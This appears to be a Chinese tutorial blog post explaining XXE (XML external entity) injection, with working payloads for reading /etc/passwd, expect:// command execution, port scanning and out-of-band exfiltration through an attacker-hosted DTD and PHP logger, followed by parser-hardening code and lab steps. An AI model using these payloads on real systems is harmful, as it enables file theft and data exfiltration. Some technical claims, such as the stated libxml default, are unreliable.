深入理解XXE外部实体注入漏洞:原理、利用与防护

深入理解XXE外部实体注入漏洞:原理、利用与防护

前言

在现代Web应用中,XML(可扩展标记语言)因其良好的结构性和可扩展性,被广泛用于数据传输与存储。然而,当XML解析器对外部实体的加载缺乏限制时,就可能引发XXE(XML External Entity Injection,外部实体注入)漏洞。这一漏洞看似隐蔽,却能导致读取服务器任意文件、执行系统命令、扫描内网端口等严重安全问题。本文将从XML基础出发,详细解析XXE漏洞的原理、利用方式及防护措施,帮助开发者和安全人员全面掌握这一风险点。

一、XML基础:从语法到实体

要理解XXE漏洞,首先需要掌握XML的核心概念,包括其语法特征、文档类型定义(DTD)及实体机制。

1. XML的特征与语法

XML是一种标记语言,其核心特征包括:

  • 必须有唯一的根节点,且标签需严格闭合;
  • 标签名称大小写敏感,且不能以特殊符号(除_-外)开头;
  • 可包含XML声明(如<?xml version="1.0" encoding="UTF-8"?>),但非必需。

示例如下:

xml 复制代码
<?xml version="1.0" encoding="UTF-8"?>
<A> <!-- 根节点 -->
    <name>test</name> <!-- 子节点,标签严格闭合 -->
    <age>20</age>
</A>

XML的主要作用是数据传输 (如API接口数据交换)和数据存储(如配置文件)。

2. XML文档结构:DTD与实体

XML的文档结构由DTD(Document Type Definition,文档类型定义)约束,DTD用于定义XML文档的合法元素、属性及关系。同时,XML支持"实体"机制,实体可理解为"变量",用于存储可复用的数据。

(1)DTD的两种形式

DTD分为内部DTD和外部DTD,用于规范XML文档的结构。

  • 内部DTD:直接在XML文档中定义,格式如下:

    xml 复制代码
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE user [ <!-- 定义文档类型为user -->
        <!ELEMENT user (username,password)> <!-- 定义user包含username和password子元素 -->
        <!ELEMENT username (#PCDATA)> <!-- username为可解析文本 -->
        <!ELEMENT password (#PCDATA)> <!-- password为可解析文本 -->
    ]>
    <user>
        <username>zhangsan</username>
        <password>123456</password>
    </user>
  • 外部DTD :定义在外部文件中,通过SYSTEM关键字引入,格式如下:

    xml 复制代码
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE user SYSTEM "1.dtd"> <!-- 引入外部1.dtd -->
    <user>
        <username>zhangsan</username>
        <password>123456</password>
    </user>

    其中1.dtd内容为:

    dtd 复制代码
    <!ELEMENT user (username,password)>
    <!ELEMENT username (#PCDATA)>
    <!ELEMENT password (#PCDATA)>

    设置不允许加载的时候,加载会出错:

    开启后可以正常加载:(由于浏览器的限制,无法加载)

(2)XML实体的分类

实体是XML中用于存储数据的"变量",分为普通实体和参数实体,且支持内部定义和外部引用。

  • 普通实体 :直接定义并在XML元素中使用,格式为<!ENTITY 实体名 "值">,引用时用&实体名;

    xml 复制代码
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE user [
        <!ENTITY s "zhangsan"> <!-- 定义普通实体s -->
        <!ENTITY p "123456">
    ]>
    <user>
        <username>&s;</username> <!-- 引用实体s -->
        <password>&p;</password>
    </user>
  • 外部实体 :引用外部资源(如文件、URL),格式为<!ENTITY 实体名 SYSTEM "资源路径">

    xml 复制代码
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE any [
        <!ENTITY file SYSTEM "file:///c:/windows/win.ini"> <!-- 引用本地文件 -->
    ]>
    <data>&file;</data> <!-- 引用外部实体,读取文件内容 -->
  • 参数实体 :仅在DTD中使用,格式为<!ENTITY % 实体名 "值">,引用时用%实体名;,常用于外部DTD的嵌套引用。

    xml 复制代码
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE any [
        <!ENTITY % ext SYSTEM "http://attacker.com/evil.dtd"> <!-- 引入外部参数实体 -->
        %ext; <!-- 引用参数实体 -->
    ]>
(3)支持的协议

不同XML解析器支持的协议不同,常见协议如下:

解析器/语言 支持的主要协议
libxml2 file、ftp、http
PHP file、http、ftp、php://filter(文件编码)、expect://(执行命令,需扩展支持)
Java http、https、ftp、file、jar
.NET file、http、https、ftp

二、XXE漏洞详解

XXE漏洞的本质是:XML解析器未禁用外部实体加载,导致攻击者可构造恶意XML文档,通过外部实体引用读取敏感文件、执行命令或探测内网。

1. 漏洞触发条件

XXE漏洞的触发需满足两个条件:

  1. 应用程序会解析用户提交的XML数据;
  2. XML解析器未禁用外部实体加载(如PHP中libxml_disable_entity_loader默认值为true,需手动设为false才允许加载外部实体)。

2. 漏洞产生原因

当应用程序对用户上传或提交的XML数据缺乏过滤时,攻击者可注入恶意外部实体定义,从而利用解析器的外部资源加载能力执行攻击。

3. 漏洞危害与利用方式

XXE漏洞的危害范围较广,主要包括以下场景:

(1)读取任意文件

通过外部实体引用本地文件路径,可读取服务器敏感文件(如配置文件、密码文件等)。

  • 直接读取(内部DTD)

    xml 复制代码
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE any [
        <!ENTITY file SYSTEM "file:///etc/passwd"> <!-- Linux系统用户文件 -->
    ]>
    <data>&file;</data>
  • 外部DTD+参数实体读取
    攻击者服务器放置evil.dtd

    dtd 复制代码
    <!ENTITY s SYSTEM "file:///c:/windows/win.ini"> <!-- 目标文件路径 -->

    恶意XML payload:

    xml 复制代码
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE any [
        <!ENTITY % ext SYSTEM "http://attacker.com/evil.dtd"> <!-- 引入外部DTD -->
        %ext; <!-- 引用参数实体 -->
    ]>
    <user><username>&s;</username></user> <!-- 引用实体s,输出文件内容 -->
(2)执行系统命令

若XML解析器所在环境支持expect://协议(如PHP安装expect扩展),可通过外部实体执行系统命令。

xml 复制代码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE any [
    <!ENTITY cmd SYSTEM "expect://ls -al"> <!-- 执行ls命令 -->
]>
<data>&cmd;</data>

注:命令中的空格可用${IFS}替换(如ls${IFS}-al)。

(3)内网端口扫描

利用外部实体引用内网IP和端口,通过解析超时时间判断端口是否开放(开放端口响应快,关闭端口超时)。

xml 复制代码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE any [
    <!ENTITY port SYSTEM "http://192.168.1.1:80"> <!-- 探测内网192.168.1.1的80端口 -->
]>
<data>&port;</data>
(4)无回显XXE的利用

当漏洞触发后无直接回显时,可通过"外带数据"方式将结果发送至攻击者控制的服务器。

攻击流程

  1. 攻击者服务器放置1.dtd(用于定义数据外带逻辑):

    dtd 复制代码
    <!ENTITY % a "<!ENTITY &#37; send SYSTEM 'http://attacker.com/log.php?data=%file;'>">
    %a; <!-- 定义send实体,将file内容发送到log.php -->
  2. 攻击者服务器放置log.php(用于接收并保存数据):

    php 复制代码
    <?php
    file_put_contents('leak.txt', $_GET['data']); // 将接收的数据存入文件
    ?>
  3. 构造恶意XML payload:

    xml 复制代码
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE any [
        <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"> <!-- 读取文件并Base64编码 -->
        <!ENTITY % ext SYSTEM "http://attacker.com/1.dtd"> <!-- 引入外部DTD -->
        %ext; <!-- 引用参数实体 -->
        %send; <!-- 触发数据外带 -->
    ]>
  4. 目标服务器解析XML后,会将/etc/passwd的Base64编码内容发送至log.php,攻击者从leak.txt中获取数据并解码。

三、XXE漏洞的修复与防护

XXE漏洞的防护核心是禁用外部实体加载过滤恶意XML内容,具体措施如下:

1. 禁用外部实体加载

  • PHP :使用libxml_disable_entity_loader(true)禁用外部实体:

    php 复制代码
    <?php
    libxml_disable_entity_loader(true); // 关键:禁用外部实体加载
    $xml = simplexml_load_string($_POST['xml_data']);
    ?>
  • Java :设置DocumentBuilderFactory的属性禁用外部实体:

    java 复制代码
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // 禁用DTD
  • Python :使用lxml库时禁用外部实体:

    python 复制代码
    from lxml import etree
    parser = etree.XMLParser(resolve_entities=False) # 禁用实体解析
    etree.fromstring(xml_data, parser)

2. 过滤恶意内容

对用户提交的XML数据进行严格过滤,禁止包含以下敏感内容:

  • DTD相关关键字:<!DOCTYPE<!ENTITYSYSTEMPUBLIC
  • 危险协议:file://http://ftp://expect://php://等。

3. 代码审计关注点

在代码中搜索可能解析XML的函数,确认是否禁用了外部实体:

  • PHP:simplexml_load_string()simplexml_import_dom()libxml_disable_entity_loader(false)
  • 请求头特征:Accept: application/xmlContent-Type: text/xml(提示应用可能处理XML数据)。

四、靶场测试实践

1.pikachu靶场

在漏洞测试中,可按以下步骤验证XXE漏洞:

  1. 判断是否使用XML :通过请求头(如Accept: application/xml)或参数格式(自定义标签)判断应用是否处理XML。

  2. 触发报错验证:构造错误的XML格式(如缺失闭合标签),观察是否返回XML解析错误,确认解析器存在。

  1. 读取文件测试 :构造包含外部实体的XML payload,尝试读取已知文件(如/etc/passwdc:/windows/win.ini),检查是否返回文件内容。

例如,在Pikachu靶场中,构造如下payload可读取c:/windows/win.ini

xml 复制代码
<?xml version='1.0' encoding="UTF-8"?>
<!DOCTYPE test [
    <!ENTITY file SYSTEM "file:///c:/windows/win.ini">
]>
<test>&file;</test>

2.没有回显的XXE漏洞利用方式

1 原理部分

首先是可以使用php://协议将源代码通过base64编码的方式读取出来

复制代码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY[
<!ENTITY s SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">
]>
<user><username>&s;</username><password>11111</password></user>

http://xxxx.com/1.php?get=%s

攻击过程:

三方服务器放置:需要将以下文件放入一个外部的dtd中:

http://192.168.61.249/xxe/1.dtd

复制代码
<!ENTITY % canshu STSTEM "http://xxxx.com/1.php?get=%s">

让1.php去接受%s传递的网页编码后的源代码
需要把以上dtd内容当做一个参数传递:
完整的外部dtd代码如下:

<!ENTITY % a "<!ENTITY &#37; send SYSTEM 'http://三方IP/xxe/xxe.php?get=%file;'>">
%a;

三方服务器放置:1.php充当一个获取文件并保存的工具:

http://192.168.61.249/xxe/xxe.php

复制代码
<?php
file_put_contents('xxx1.txt',$_GET['get']);
?>

攻击payload:

复制代码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">
<!ENTITY % s  SYSTEM "http://192.168.61.249/xxe/1.dtd">
%s;
%send;
]>

三方服务器收到xxx1.txt记录base64编码的页面源代码:

另外一种不存储在本地的方法:

复制代码
配置部分不变,修改请求的三方dtd文件,不在传入一个php文件中。传递的结果会存放在请求日志或者记录中:

或者在log文件中

3.代码计部分

复制代码
simplexml_load_string() 
simplexml_import_dom() 
libxml_disable_entity_loader(false); 


以上三个函数时用来开启XML外部实体的。



找的时候
Accept: application/xml, text/xml
Accept: text/html,application/xhtml+xml,application/xml;

pikachu:

xml-dtd 复制代码
<?xml version='1.0' encoding="UTF-8"?>
<!DOCTYPE suibian[
<!ENTITY a SYSTEM "file:///c:/windows/win.ini"> <!--三个斜杠-->

]>
<suibian>&a;</suibian>

总结

XXE漏洞作为XML解析过程中的典型安全风险,其危害涵盖文件读取、命令执行、内网探测等多个维度。掌握XML的DTD与实体机制是理解XXE的基础,而禁用外部实体加载和过滤恶意内容则是防护的核心手段。

在实际开发中,应始终保持"不信任用户输入"的原则,对XML解析器进行严格配置,避免因疏忽导致安全漏洞。同时,安全人员需熟悉XXE的各种利用方式(包括无回显场景),通过靶场练习和代码审计提升漏洞识别与修复能力,从而有效防范这一隐患。

相关推荐
王道长服务器 | 亚马逊云6 小时前
AWS + Discuz!:社区站架构的现代化玩法
linux·网络·云计算·智能路由器·aws
lht6319356126 小时前
部署开源漏洞扫描工具SiriusScan及问题解决
linux·安全·开源
2501_938780286 小时前
《Zookeeper 节点权限控制:ACL 策略配置与安全防护实践》
分布式·安全·zookeeper
kaixin_啊啊7 小时前
从被动防御到主动管控:雷池SafeLine的远程安全运营之道
安全
山卡拉噶7 小时前
编写Netfilter模块过滤ARP数据包
网络
Java之路行者8 小时前
Spring Boot防重复提交实战:让接口安全提升200%!
spring boot·后端·安全
priority_key8 小时前
TCP 如何保证传输的可靠性?
服务器·网络·后端·网络协议·tcp/ip
老赵聊算法、大模型备案9 小时前
国家网络安全事件报告管理办法
安全·web安全
qsjming9 小时前
RTNETLINK answers: File exists问题分析
网络·rtnetlink